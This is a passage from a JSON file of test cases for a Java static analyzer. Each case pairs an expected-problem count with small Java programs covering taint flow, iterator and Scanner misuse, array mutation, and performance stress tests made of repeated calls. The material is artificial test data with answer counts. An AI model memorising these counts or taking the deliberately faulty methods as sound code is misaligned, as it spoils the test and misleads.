sink(stringOfE(eOfA(source())));\n }\n\n // TODO: Same problem as above.\n void fpl_fbOk() {\n sink(eOfString(stringOfA(source())));\n }\n\n void fcBad() {\n sink(stringOfA(source()));\n }\n\n void fdBad() {\n sink(stringOfB(bOfA(source())));\n }\n\n void feBad() {\n sink(aOfString(stringOfB(bOfA(source()))));\n }\n\n void ffBad() {\n A x = source();\n E y = eOfA(x);\n String z = stringOfE(y);\n String u = stringOfA(x);\n sink(z); // OK\n sink(u); // NOK\n }\n\n void fgOk() {\n sink(sanitizer(source()));\n }\n\n // like faOk, but with Boolean as intermediary instead of E\n void fpl_fhOk() {\n sink(stringOfBoolean(booleanOfA(source())));\n }\n\n // like faOk, but with primitive boolean as intermediary instead of E\n void fpl_fiOk() {\n sink(stringOfBool(boolOfA(source())));\n }\n\n abstract void sink(Object x);\n\n abstract A source();\n\n abstract A aOfString(String x);\n\n abstract B bOfA(A x);\n\n abstract Boolean booleanOfA(A x);\n\n abstract E eOfA(A x);\n\n abstract E eOfString(String x);\n\n abstract String sanitizer(A x);\n\n abstract String stringOfA(A x);\n\n abstract String stringOfB(B x);\n\n abstract String stringOfBool(boolean x);\n\n abstract String stringOfBoolean(Boolean x);\n\n abstract String stringOfE(E x);\n\n abstract boolean boolOfA(A x);\n}\n\nclass A {}\n\nclass B {}\n\nenum E {}\n" + }, + { + "testname": "Iterators.java", + "testlanguage": "java", + "expected-problems": 7, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\nimport java.util.*;\n\nclass Iterators {\n void hasNextOk(List xs) {\n Iterator i = xs.iterator();\n if (i.hasNext()) i.next();\n }\n\n void hasNextBad(List xs) {\n Iterator i = xs.iterator();\n i.next();\n }\n\n /** Check that errors don't bubble up the call chain. */\n void hasNextNotTooBadOk(List xs) {\n hasNextBad(xs);\n }\n\n void hasNextInterproceduralBad(List xs) {\n getSingleElementOk(xs.iterator());\n }\n\n void hasNextInterproceduralOk(List xs) {\n Iterator i = xs.iterator();\n if (i.hasNext()) {\n getSingleElementOk(i);\n }\n }\n\n void getSingleElementOk(Iterator i) {\n i.next();\n }\n}\n" + }, + { + "testname": "ManyLoops.java", + "testlanguage": "java", + "expected-problems": 3, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\nimport java.util.*;\n\nclass ManyLoops {\n\n /** Test for performance. */\n void fOk() {\n Set xs = new HashSet();\n go(xs);\n go(xs);\n go(xs);\n go(xs);\n go(xs);\n go(xs);\n go(xs);\n go(xs);\n go(xs);\n go(xs);\n }\n\n void go(Set xs) {\n for (String x : xs) {\n System.out.println(x);\n }\n }\n}\n" + }, + { + "testname": "ManyNops.java", + "testlanguage": "java", + "expected-problems": 3, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\nclass ManyNops {\n /** Let's check that nothing happens quickly. */\n void fOk() {\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n nop();\n }\n\n void nop() {}\n}\n" + }, + { + "testname": "ScannerFail.java", + "testlanguage": "java", + "expected-problems": 3, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\nimport java.util.Scanner;\n\nabstract class ScannerFail {\n void readOk() {\n Scanner scan = getScanner();\n while (scan.hasNext()) {\n scan.next();\n }\n scan.close();\n }\n\n void readBad() {\n Scanner scan = getScanner();\n scan.next();\n scan.close();\n }\n\n Scanner getScanner() {\n return new Scanner(System.in);\n }\n}\n" + }, + { + "testname": "ImmutableArray.java", + "testlanguage": "java", + "expected-problems": 16, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\nclass ImmutableArray {\n\n final int[] testArray = new int[] {0, 1, 2, 4};\n\n int[] getTestArray() {\n return testArray;\n }\n\n void badA() {\n int[] array = getTestArray();\n array[2] = 7;\n }\n\n void badB() {\n int[] array = getTestArray();\n int[] otherArray = array;\n otherArray[2] = 7;\n }\n\n void badC() {\n int[] array = getTestArray();\n otherMutateArray(array);\n }\n\n void badABC() {\n int[] array = getTestArray();\n array[2] = 7;\n int[] otherArray = array;\n otherArray[2] = 7;\n otherMutateArray(array);\n }\n\n void otherMutateArray(int[] array) {\n array[2] = 7;\n }\n}\n" + }, + { + "testname": "ManyArrays.java", + "testlanguage": "java", + "expected-problems": 3, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport java.util.*;\n\nclass ManyArrays {\n static Map someMap = new HashMap<>();\n\n static {\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new String[]{\"bar\"});\n someMap.put(\"foo\", new 